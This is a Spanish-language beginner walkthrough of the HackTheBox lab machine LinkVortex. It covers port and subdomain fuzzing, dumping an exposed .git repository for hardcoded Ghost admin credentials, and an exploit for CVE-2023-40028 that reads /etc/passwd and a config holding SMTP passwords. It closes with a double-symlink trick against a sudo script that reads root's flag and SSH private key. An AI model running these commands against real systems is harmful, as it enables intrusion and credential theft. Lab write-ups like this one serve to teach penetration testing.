Blog Blog

LinkVortex Writeup

April 16, 2025
Raúl Zavaleta
LinkVortex Writeup

Este es una guía para personas que se están sumergiendo por primera vez dentro de las máquinas de la plataforma HackTheBox, una guía que trata ser lo más explicita y amigable con los principiantes.

Recon

OS

1$ ping -c 1 10.129.232.80
2PING 10.129.232.80 (10.129.232.80) 56(84) bytes of data.
364 bytes from 10.129.232.80: icmp_seq=1 ttl=63 time=198 ms
4
5--- 10.129.232.80 ping statistics ---
61 packets transmitted, 1 received, 0% packet loss, time 0ms
7rtt min/avg/max/mdev = 197.977/197.977/197.977/0.000 ms
8

TTL próximo a 64, por lo tanto es una máquina Linux, este valor se puede cambiar a preferencia de cada servidor pero usualmente no se cambian.

Nmap

Empezamos con la enumeración con Nmap.

1$ sudo nmap -p- -sCV -sS --min-rate 5000 -Pn -n --disable-arp-ping 10.129.232.80 -oN nmap/scan -v

Por si son nuevos y no reconocen estos parámetros entonces aquí les dejo un pequeño recordatorio:

> -p-: Escaneará todo el rango de puertos (1-65 535)
> -sCV: Corre algunos scripts de enumeración y también reconoce la versión de los servicios.
> -sS: Stealth Scan (Escaneo Silencioso), realmente es para que vaya más rápido el escaneo, esto funciona enviando un solo paquete SYNC y recibir el ACK, sin culminar el handshake.
> --min-rate 5000: Aumentar la cantidad de paquetes que se transmiten.
> -Pn: No ping request, mas velocidad.
> -n: No resolución de hosts.
> --disable-arp-ping: Desactiva el arp request, también para más velocidad.

1PORT STATE SERVICE VERSION
222/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
3| ssh-hostkey:
4| 256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)
5|_ 256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)
680/tcp open http Apache httpd
7| http-methods:
8|_ Supported Methods: GET HEAD POST OPTIONS
9|_http-title: Did not follow redirect to http://linkvortex.htb/
10|_http-server-header: Apache
11Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

En la entrada del puerto 80 encontramos que nos redirige a un dominio, tenemos que escribir este dominio para que nuestra computadora pueda resolver correctamente a la página.

1sudo nano /etc/hosts
2
310.129.232.80 linkvortex.htb

Web

Tecnologías

http://linkvortex.htb/ :

Dejaremos esto como informativo, primero antes de cualquier explotación a menos que estemos seguros seguiremos haciendo un reconocimiento más amplio.
Al hacer hovering (navegar por la página y ver directorios) no encontramos ningún tipo de directorio interesante, procedemos a hacer fuzzing.
Tambien podemos inferir que por los autores de las publicaciones un usuario potencial es admin.

Fuzzing

El proceso de fuzzing consiste en descubrir directorios, subdominios o iterar una cadena de valores dentro de algún punto de la página para encontrar resultados válidos que nos pueda ayudar a reconocer nuestro objetivo y sus vectores que no están a simple vista para ver si encontramos información sensible.

Fuzzing Directorios.

1$ gobuster dir -u http://linkvortex.htb/ -w /usr/share/SecLists/Discovery/Web-Content/dirsearch.txt -t 200 --no-error --exclude-length 0 -r
> -u : página objetivo.
> -w : wordlist para usar, en este caso utilizaremos el poderosísimo conjunto de wordlist de SecList.
> -t : Numero de hilos o tareas simultaneas.
> --no-error : Hace que en el output no nos aparezca ningún error.
> --exclude-length 0 : Esto es para evitar páginas con 0 de contenido de respuesta (error).
> -r : Seguir la redirección del directorio.


Encontramos directorios que al explorarlos nos daremos cuenta de el mapeo de la página.

Fuzzing Subdominios

1$ ffuf -c -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -u http://linkvortex.htb -H "HOST: FUZZ.linkvortex.htb" -fc 301 -o 2_subdominios
> -c : Añadirle color
> -w: Wordlist.
> -u : Target/Objetivo
> -H : Siglas de (Header), cabecera de la solicitud que se utiliza para en este caso fuzzear y encontrar un subdominio válido.
> -fc : Siglas de (Filter Code), filtra las redirecciones para que no aparezcan en el output.


Se encuentra el subdominio dev.linkvortex.htb
De nuevo agregamos al /etc/hosts para que resuelva correctamente

1$ sudo nano /etc/hosts
210.129.232.80 linkvortex.htb dev.linkvortex.htb

dev

Nos encontramos con:

Siempre hay que ser curiosos y fuzzear por directorios dentro de este subdominio.

1$ gobuster dir -u http://dev.linkvortex.htb/ -w /usr/share/SecLists/Discovery/Web-Content/dirsearch.txt -t 200 --no-error --exclude-length 0 -r

Encontramos el directorio /.git.

Si se encuentra el directorio oculto /.git se puede tener acceso al código del proyecto de la página o de la empresa. Siempre en nuestros pruebas de penetración cuando encontremos este directorio podría significar algo valioso.


Git-Dumper

Esta herramienta nos ayudará a traernos todo el repositorio a nuestra máquina local.
GitDumper Github
Instalación rápida *like a boss* :) :

1$ git clone https://github.com/arthaud/git-dumper
2$ cd git-dumper
3$ python3 -m venv venvGitDumper
4$ source venvGitDumper/bin/activate
5$ pip3 install -r requirements.txt

Seguimos utilizando la herramienta.

1$ python3 git_dumper.py http://dev.linkvortex.htb/.git/ ../gitLinkVortex
2$ cd ..
3$ cd gitLinkVortex

Este comando nos guardará el repositorio en un directorio antes del que nos encontramos.

Al parecer estamos dentro del repositorio de Ghost, el CMS que utiliza esta página, podemos empezar a buscar cadenas interesantes tales como password, secret, .db , etc...

1$ grep -r "password" .

Podemos buscar por cadenas dentro de todos los directorios pero será un output muy largo dificil de interpretar.
Nos traeremos el repositorio original de esa misma versión `v.5.58.0` para compararlos.

1$ git clone https://github.com/TryGhost/Ghost.git
2$ cd Ghost
3$ git checkout v5.58.0


DIFF

Buscamos la diferencia entre los dos repositorios con palabras claves.

1$ diff -r . ~/HTB/LinkVortex/GitLinkVortex | grep password
2
3< const password = 'thisissupersafe';
4> const password = 'OctopiFociPilfer45';

Teniendo esto en cuenta empezamos a buscar algún tipo de panel de inicio de sesión en ghost por internet o también haciendo un fuzzing recursivo a la página por los directorios que nos aparecieron en `robots.txt`.

Podemos pensar en:

1admin@linkvortex.htb:OctopiFociPilfer45

Ahora ya podemos empezar a buscar vulnerabilidades teniendo un acceso elevado dentro del CMS.

User

CVE 2023-40028

Buscando por la version del CMS encontramos:

https://github.com/0xyassine/CVE-2023-40028/blob/master/CVE-2023-40028.sh

Ejecutamos:

1$ bash poc.sh -u [email protected] -p OctopiFociPilfer45
2WELCOME TO THE CVE-2023-40028 SHELL
3file> /etc/passwd
4file> /etc/hostname
58a5588c2dc9f

Esto confirma que estamos dentro de un contenedor.
Bingo ahora tenemos lectura de archivos arbitrarios.

> Dentro del repositorio que nos hemos clonado de dev.linkvortex.htb encontramos un dockerfile que muestra configuraciones interesantes como por ejemplo en donde se encuentra las credenciales de configuración.
1file> /var/lib/ghost/config.production.json
2<...>
3"mail": {
4"transport": "SMTP",
5"options": {
6"service": "Google",
7"host": "linkvortex.htb",
8"port": 587,
9"auth": {
10"user": "[email protected]",
11"pass": "fibber-talented-worth"
12}

Entramos por ssh y obtenemos la flag user.

1$ cat user.txt


Root

Corremos:

1sudo -l
2
3User bob may run the following commands on linkvortex:
4(ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png

Vemos el código para analizarlo ya que tenemos permisos de lectura sobre este:

1#!/bin/bash
2
3QUAR_DIR="/var/quarantined"
4
5if [ -z $CHECK_CONTENT ];then
6CHECK_CONTENT=false
7fi
8
9LINK=$1
10
11if ! [[ "$LINK" =~ \.png$ ]]; then
12/usr/bin/echo "! First argument must be a png file !"
13exit 2
14fi
15
16if /usr/bin/sudo /usr/bin/test -L $LINK;then
17LINK_NAME=$(/usr/bin/basename $LINK)
18LINK_TARGET=$(/usr/bin/readlink $LINK)
19if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
20/usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
21/usr/bin/unlink $LINK
22else
23/usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
24/usr/bin/mv $LINK $QUAR_DIR/
25if $CHECK_CONTENT;then
26/usr/bin/echo "Content:"
27/usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
28fi
29fi
30fi

Este código lo que hace es desvincular un `png` de su symlink y si este apunta a un archivo que contenga en su nombre algo como como `root` o `etc`, entonces lo elimina. Tambien podemos ver que el valor `CHECK_CONTENT` se puede establecer como true para poder ver el contenido de este archivo cuando lo ejecutemos.

Por lo tanto creamos un link simbólico que apunte a otro link simbólico ya que este solo lee la primera vez que resuelve, no una segunda.

Nota: ln es el comando para crear "accesos directos o links en la máquina"

1bob@linkvortex:~$ ln -sf /root/root.txt segundo.png
2
3bob@linkvortex:~$ ln -sf /home/bob/segundo.png primero.png
4
5bob@linkvortex:~$ export CHECK_CONTENT=true; sudo /usr/bin/bash /opt/ghost/clean_symlink.sh primero.png
> Esto hará que primero.png apunte a segundo.png lo cual no tiene ninguna ruta maliciosa en el nombre, pero este va a redireccionar a /root.txt que es lo que necesitamos.

Y tenemos la root flag ;).

[Extra]

Si queremos ser root dentro del ssh entonces podemos hacer lo mismo pero con un link simbólico a `/root/.ssh/id_rsa`

Lo guardamos en un documento y asignamos los respectivos permisos.

1bob@linkvortex:~$ ln -sf /root/.ssh/id_rsa segundo.png
2
3bob@linkvortex:~$ ln -sf /home/bob/segundo.png primero.png
4
5bob@linkvortex:~$ export CHECK_CONTENT=true; sudo /usr/bin/bash /opt/ghost/clean_symlink.sh primero.png
6

Guardaremos el output dentro de un archivo llamado id_rsa.

1nano ssh_rsa
2chmod 600 ssh_rsa
3ssh [email protected] -i ssh_rsa
4cat root.txt

Raúl Zavaleta